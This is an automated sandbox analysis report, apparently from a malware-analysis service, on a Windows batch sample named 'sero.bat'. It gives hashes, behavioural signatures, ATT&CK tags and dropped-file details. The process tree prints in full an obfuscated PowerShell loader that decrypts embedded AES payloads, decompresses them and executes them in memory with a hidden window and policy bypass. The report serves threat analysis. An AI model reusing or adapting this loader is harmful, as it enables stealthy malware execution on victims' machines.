4c6e90e178396d000b5dd5c5bb2b9ae5bbbca5986f26ffad2a6bd0845b6b2c83

Analysis

max time kernel
120s
max time network
142s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11/10/2023, 23:00

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General

Target

sero.bat
Size

12.4MB
MD5

46392f93dbe11365dcc6057a0e0c3c6f
SHA1

f5e14d896d366a2d0c856aebff5ec1c7e9f5197e
SHA256

4c6e90e178396d000b5dd5c5bb2b9ae5bbbca5986f26ffad2a6bd0845b6b2c83
SHA512

148f834fa1bed7acb833ad90c2e1782ac4af06a386ed45e95c0dae3b69cd6950330e9827f188a9cf71150db732737751f979d29814e0dde69e1d48dbb283cff3
SSDEEP

49152:UibWQBcVln6vHr2y7++rl77xFiIf5n/IXNgbNTcw3fbRGI6U1MaRaLkFXhzhLBxV:V

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1544	sero.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
240	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1544	sero.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	sero.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 240 wrote to memory of 1544	240	cmd.exe	30
PID 240 wrote to memory of 1544	240	cmd.exe	30
PID 240 wrote to memory of 1544	240	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sero.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:240
- C:\Users\Admin\AppData\Local\Temp\sero.bat.exe
  "sero.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function OhDeL($VLnrL){ $aXSjO=[System.Security.Cryptography.Aes]::Create(); $aXSjO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aXSjO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aXSjO.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iwu12OK8WWyxy2/r/fXOnqtAhiQmstP+JhEXQCQfqPI='); $aXSjO.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mijonkYYEu0J8yLQDV5vNg=='); $YWePC=$aXSjO.CreateDecryptor(); $return_var=$YWePC.TransformFinalBlock($VLnrL, 0, $VLnrL.Length); $YWePC.Dispose(); $aXSjO.Dispose(); $return_var;}function hzpfu($VLnrL){ $cxxQm=New-Object System.IO.MemoryStream(,$VLnrL); $YnLaf=New-Object System.IO.MemoryStream; $fTxDe=New-Object System.IO.Compression.GZipStream($cxxQm, [IO.Compression.CompressionMode]::Decompress); $fTxDe.CopyTo($YnLaf); $fTxDe.Dispose(); $cxxQm.Dispose(); $YnLaf.Dispose(); $YnLaf.ToArray();}function kTEJI($VLnrL,$DRTbt){ $tNdAg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$VLnrL); $Ujdld=$tNdAg.EntryPoint; $Ujdld.Invoke($null, $DRTbt);}$TExfK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sero.bat').Split([Environment]::NewLine);foreach ($QLAsh in $TExfK) { if ($QLAsh.StartsWith('SEROXEN')) { $zWJDv=$QLAsh.Substring(7); break; }}$StmMq=[string[]]$zWJDv.Split('\');$mZupC=hzpfu (OhDeL ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($StmMq[0])));$nZwkL=hzpfu (OhDeL ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($StmMq[1])));kTEJI $nZwkL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));kTEJI $mZupC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\sero.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\sero.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1544-5-0x000000001B080000-0x000000001B362000-memory.dmp

Filesize
2.9MB

Download
memory/1544-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/1544-7-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/1544-8-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/1544-9-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/1544-10-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/1544-12-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/1544-11-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/1544-13-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download